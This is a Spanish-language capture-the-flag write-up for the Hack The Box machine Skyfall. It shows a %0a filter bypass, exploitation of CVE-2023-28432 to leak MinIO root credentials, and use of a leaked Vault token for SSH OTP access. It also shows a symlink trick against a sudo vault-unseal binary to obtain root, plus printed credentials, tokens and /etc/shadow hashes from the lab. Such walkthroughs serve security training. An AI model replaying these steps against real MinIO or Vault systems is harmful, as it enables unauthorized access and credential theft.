Write up | Skyfall - Maquina Activa | Savage Lands Season 4

Write up | Skyfall - Maquina Activa | Savage Lands Season 4

Comenzamos con una enumeración de puertos por nmap.

Tenemos el dominio de skyfall el cual debemos de ingresar en nuestro /etc/hosts

Realizando reconocimiento de subdominios tenemos demo.skyfall.htb

Es como un almacenamiento en la nube. Intento acceder a esas métricas de Minio y me aparece un mensaje de 'Prohibido'. Pero puede ser eludido mediante %0a. Y puedes ver todos los nodos."

Al final de la página, encontré un subdominio y lo añadí a mi archivo de hosts.

prd23-s3-backend.skyfall.htb

Debemos de ir al siguiente endpoint.

http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/cluster

Debemos de validar si es vulnerable a CVE-2023-28432 en el /cluster. La cual nos devolverá unas credenciales.

https://github.com/acheiii/CVE-2023-28432

"MinioEnv":{"MINIO_ACCESS_KEY_FILE":"access_key","MINIO_BROWSER":"off","MINIO_CONFIG_ENV_FILE":"config.env","MINIO_KMS_SECRET_KEY_FILE":"kms_master_key","MINIO_PROMETHEUS_AUTH_TYPE":"public",
"MINIO_ROOT_PASSWORD":"GkpjkmiVmpFuL2d3oRx0","MINIO_ROOT_PASSWORD_FILE":"secret_key",
"MINIO_ROOT_USER":"5GrE1B2YGGyZzNHZaIww","MINIO_ROOT_USER_FILE":"access_key","MINIO_SECRET_KEY_FILE":"secret_key","MINIO_UPDATE":"off",
"MINIO_UPDATE_MINISIGN_PUBKEY":"RWTx5Zr1tiHQLwG9keckT0c45M3AGeHD6IvimQHpyRywVWGbP1aVSGav"}}
http://prd23-s3-backend.skyfall.htb/<bucket>/<objeto>

http://prd23-s3-backend.skyfall.htb/minio/v2/metrics/node

lanzamos un curl para ver la información que nos trae.

Podemos ingresar a CLI de AWS para ver que información tenemos ya que no deja de ser un s3. Pero con AWS tenemos una agujero de conejo.

tenemos que bajarnos el Binario de minio para poder interactuar a nivel de cli.

./mc alias set myminio 'http://prd23-s3-backend.skyfall.htb' 5GrE1B2YGGyZzNHZaIww  
Enter Secret Key:  
Added `myminio` successfully.
"MINIO_ROOT_USER": "5GrE1B2YGGyZzNHZaIww",
"MINIO_ROOT_PASSWORD": "GkpjkmiVmpFuL2d3oRx0",

Enumeramos la información en el sistema de almacenamiento de Minio.

Para este punto la maquina tiene muchos agujeros de conejo. Sigamos con lo que nos interesa.

cat .bash_logout  
# ~/.bash_logout: executed by bash(1) when login shell exits. 

# when leaving the console clear the screen to increase privacy 

if [ "$SHLVL" = 1 ]; then 
   [ -x /usr/bin/clear_console ] && /usr/bin/clear_console -q 
fi

No tenemos nada en el authorized_keys

Dentro de la nube encontré unos backups, pero dichos backups tienen Versiones por ende debemos de especificar cual queremos bajar por que si bajamos el backup sin la flag de --version-id se nos bajara una que no nos servirá para la explotación.

./mc cp myminio/askyy/home_backup.tar.gz /home/kali/HTB/Skyfall/skyfall_infos3/DecompresEnd/home_backup_v1.tar.gz --version-id=3c498578-8dfe-43b7-b679-32a3fe42018f

./mc cp myminio/askyy/home_backup.tar.gz /home/kali/HTB/Skyfall/skyfall_infos3/DecompresEnd/home_backup_v2.tar.gz --version-id=2b75346d-2a47-4203-ab09-3c9f878466b8

./mc cp myminio/askyy/home_backup.tar.gz /home/kali/HTB/Skyfall/skyfall_infos3/DecompresEnd/home_backup_v3.tar.gz --version-id=25835695-5e73-4c13-82f7-30fd2da2cf61

Comenzamos a descomprimir con tar -xzvf

Nuevamente tenemos mas agujeros de conejo con las .shh/authorized_keys

askyy@skyfall Intente ingresar con las claves pero no es posible.

en el .bashrc podemos evidenciar lo siguiente:

VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb" 
 44   │ export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"


export VAULT_API_ADDR="http://prd23-vault-internal.skyfall.htb" 
 44   │ export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE"
Key                  Value 
---                  ----- 
token                hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE 
token_accessor       rByv1coOBC9ITZpzqbDtTUm8 
token_duration       435911h28m51s 
token_renewable      true 
token_policies       ["default" "developers"] 
identity_policies    [] 
policies             ["default" "developers"]

Ya con esta información del .bashrc tenemos que generar un otp key hacia nuestra ip de la siguiente manera:

export VAULT_TOKEN="hvs.CAESIJlU9JMYEhOPYv4igdhm9PnZDrabYTobQ4Ymnlq1qY-LGh4KHGh2cy43OVRNMnZhakZDRlZGdGVzN09xYkxTQVE" 
vault write -address="http://prd23-vault-internal.skyfall.htb" ssh/creds/dev_otp_key_role ip=10.129.11.132 username=askyy

En este punto ya tenemos la primera flag de usuario.

Yendo al siguiente github obtuve información sobre como generar unas claves en el vault pero con root.

https://github.com/lrstanley/vault-unseal/blob/master/example.vault-unseal.yaml

touch exfil; ln -sf exfil debug.log;sudo /root/vault/vault-unseal -c /etc/vault-unseal.yaml -dv

debemos de pasarle el --addres y la siguiente cadena para que nos genera una shell con root.

hvs.I0ewVsmaKU1SwVZAKR3T0mmG
vault write --address="http://prd23-vault-internal.skyfall.htb" ssh/creds/admin_otp_key_role ip=10.129.11.132 username=root

Cuando realizamos el login al vault como usuario root debemos de generar las keys.

Como en el ejercicio anterior una vez ingresos dichos parámetros se no harbe una shell como root.

flag root:

d4c19f0dddf97ce4418a0ecc9c7e45e7 
root@skyfall:~#
root@skyfall:~# cat /etc/shadow 
root:$y$j9T$4uH0lUFbgz7XKRP4f/FgP.$gEGN1NQvQhD2aRx452dXMDPZm67IbrFtfzxH.6smSl7:19669:0:99999:7::: 
daemon:*:19579:0:99999:7::: 
bin:*:19579:0:99999:7::: 
sys:*:19579:0:99999:7::: 
sync:*:19579:0:99999:7::: 
games:*:19579:0:99999:7::: 
man:*:19579:0:99999:7::: 
lp:*:19579:0:99999:7::: 
mail:*:19579:0:99999:7::: 
news:*:19579:0:99999:7::: 
uucp:*:19579:0:99999:7::: 
proxy:*:19579:0:99999:7::: 
www-data:*:19579:0:99999:7::: 
backup:*:19579:0:99999:7::: 
list:*:19579:0:99999:7::: 
irc:*:19579:0:99999:7::: 
gnats:*:19579:0:99999:7::: 
nobody:*:19579:0:99999:7::: 
_apt:*:19579:0:99999:7::: 
systemd-network:*:19579:0:99999:7::: 
systemd-resolve:*:19579:0:99999:7::: 
messagebus:*:19579:0:99999:7::: 
systemd-timesync:*:19579:0:99999:7::: 
pollinate:*:19579:0:99999:7::: 
sshd:*:19579:0:99999:7::: 
usbmux:*:19639:0:99999:7::: 
askyy:$y$j9T$2AbGppWMps3JvtLZF2M0z/$nXpvYtHOjqCBu9NN3Y24c/Yu89tZxhF4gwreW8VSLc8:19669:0:99999:7::: 
_laurel:!:19745::::::